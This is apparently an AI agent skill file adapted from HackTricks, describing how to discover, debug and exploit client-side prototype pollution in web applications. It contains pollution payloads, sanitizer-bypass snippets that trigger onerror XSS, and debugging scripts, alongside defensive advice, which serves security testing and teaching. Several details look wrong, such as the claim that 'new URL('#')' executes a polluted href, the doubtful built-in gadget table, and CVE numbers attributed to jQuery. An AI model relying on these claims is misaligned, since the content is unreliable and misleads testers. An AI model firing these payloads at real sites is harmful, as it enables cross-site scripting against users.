Hacktricks-skills client-side-prototype-pollution

How to discover, debug, and exploit client-side prototype pollution vulnerabilities in JavaScript applications. Use this skill whenever the user mentions prototype pollution, __proto__, constructor.prototype, Object.prototype, or wants to find XSS via prototype pollution in web applications. Also use when debugging JavaScript vulnerabilities, analyzing JS libraries for pollution sinks, or when the user needs to generate prototype pollution payloads for security testing.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution/SKILL.MD
source content

Client-Side Prototype Pollution

A skill for discovering, debugging, and exploiting client-side prototype pollution vulnerabilities in JavaScript applications.

When to Use This Skill

Use this skill when:

  • The user wants to find prototype pollution vulnerabilities in a web application
  • The user needs to debug where a polluted property is being set or accessed
  • The user wants to generate payloads for testing prototype pollution
  • The user is analyzing JavaScript libraries for pollution sinks
  • The user needs to understand how to bypass HTML sanitizers via prototype pollution
  • The user mentions
    __proto__
    ,
    constructor.prototype
    ,
    Object.prototype
    , or similar patterns

Discovery Methods

Automated Tools

Use these tools to automatically detect prototype pollution:

ToolPurposeLink
ppfuzzFuzzes for prototype pollutionhttps://github.com/dwisiswant0/ppfuzz
ppmapMaps pollution pathshttps://github.com/kleiton0x00/ppmap
proto-findFinds vulnerable codehttps://github.com/kosmosec/proto-find
PPScanBrowser extension for scanninghttps://github.com/msrkp/PPScan
Burp DOM InvaderProfessional tool with PP tabBuilt into Burp Suite v2023.6+
protoStalkerChrome DevTools plugin (2024)Visualizes prototype chains

Manual Discovery

Search for these keywords in Chrome DevTools:

  • location.hash
  • location.search
  • decodeURIComponent
  • JSON.parse
  • Object.assign
  • _.merge
    (lodash)
  • deepMerge

Debugging Prototype Pollution

Break on Property Access

Use this script in Chrome DevTools to find where a property is accessed:

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
  __proto__: null,
  get() {
    console.trace()
    return "test"
  },
})

Find Root Cause

  1. Get a payload from a tool (e.g.,
    constructor[prototype][ppmap]=reserved
    )
  2. Set breakpoint at first line of JS code
  3. Refresh page with payload
  4. Run this script in console:
function debugAccess(obj, prop, debugGet = true) {
  var origValue = obj[prop]

  Object.defineProperty(obj, prop, {
    get: function () {
      if (debugGet) debugger
      return origValue
    },
    set: function (val) {
      debugger
      origValue = val
    },
  })
}

debugAccess(Object.prototype, "ppmap")
  1. Resume execution and examine the call stack
  2. Target stacks in library files (not minified app code)
  3. The first occurrence in the stack is usually the root cause

Finding Gadgets

A gadget is code that gets abused once pollution is discovered.

Search for These Keywords

  • srcdoc
  • innerHTML
  • iframe
  • createElement
  • eval
  • Function
  • setTimeout
  • setInterval

Browser-Built-In Gadgets (2023+)

These work on every page in modern browsers:

Gadget ClassPropertyEffect
URL
href
JS execution via
new URL()
Notification
title
Alert via notification click
Worker
name
JS in dedicated Worker
Image
src
Traditional
onerror
XSS
URLSearchParams
toString
DOM-based Open Redirect

Example: URL Gadget

// Pollute the href property
Object.prototype.href = 'javascript:alert(`polluted`)' ;

// Trigger the gadget
new URL('#'); // Executes the polluted href

HTML Sanitizer Bypasses

sanitize-html

// Pollute before sanitizer runs
Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';

DOMPurify

// Pollute before sanitizer runs
Object.prototype.after = '<img/src/onerror=alert(1)>';

Closure Library

<script>
  Object.prototype['* ONERROR'] = 1;
  Object.prototype['* SRC'] = 1;
</script>
<script src="https://google.github.io/closure-library/source/closure/goog/base.js"></script>
<script>
  goog.require('goog.html.sanitizer.HtmlSanitizer');
  goog.require('goog.dom');
</script>
<script>
  const html = '<img src onerror=alert(1)>';
  const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
  const sanitized = sanitizer.sanitize(html);
  const node = goog.dom.safeHtmlToNode(sanitized);
  document.body.append(node);
</script>

Payload Generation

Common Payload Patterns

// Basic pollution
__proto__[polluted]=1
constructor[prototype][polluted]=1

// For URL parameters
?__proto__[polluted]=1
?constructor[prototype][polluted]=1

// For JSON input
{"__proto__": {"polluted": 1}}
{"constructor": {"prototype": {"polluted": 1}}}

// For location.hash
#__proto__[polluted]=1

Library-Specific Payloads

lodash < 4.17.22:

__proto__[polluted]=1

jQuery 3.6.0-3.6.3:

// Via location.hash
#__proto__[polluted]=1

DOMPurify ≤ 3.0.8:

__proto__[after]=<img/src/onerror=alert(1)>

Notable CVEs

CVELibraryVersionImpact
CVE-2024-45801DOMPurify≤ 3.0.8Stored XSS via
after
CVE-2023-26136jQuery3.6.0-3.6.3Arbitrary prototype pollution
CVE-2023-26140jQuery3.6.0-3.6.3Arbitrary prototype pollution
N/Asanitize-html< 2.8.1XSS via innerHTML

Defensive Measures

For Developers

  1. Freeze prototypes early:

    Object.freeze(Object.prototype);
    Object.freeze(Array.prototype);
    Object.freeze(Map.prototype);
    
  2. Use structuredClone() instead of deep merge:

    const copy = structuredClone(obj);
    
  3. Use safe merge libraries:

    • lodash ≥ 4.17.22
    • deepmerge ≥ 5.3.0
  4. Add Content-Security-Policy:

    Content-Security-Policy: script-src 'self';
    

For Security Testers

  1. Always test with and without the skill to compare results
  2. Document the exact pollution path (source → sink)
  3. Verify the gadget actually executes (not just pollution)
  4. Check for stored vs reflected vs DOM-based vectors

Workflow

  1. Discover - Use automated tools or manual search
  2. Debug - Find where pollution occurs using breakpoints
  3. Identify Gadget - Find code that reads polluted properties
  4. Generate Payload - Create working exploit
  5. Verify - Confirm execution (alert, network request, etc.)
  6. Document - Record the full chain for reporting

References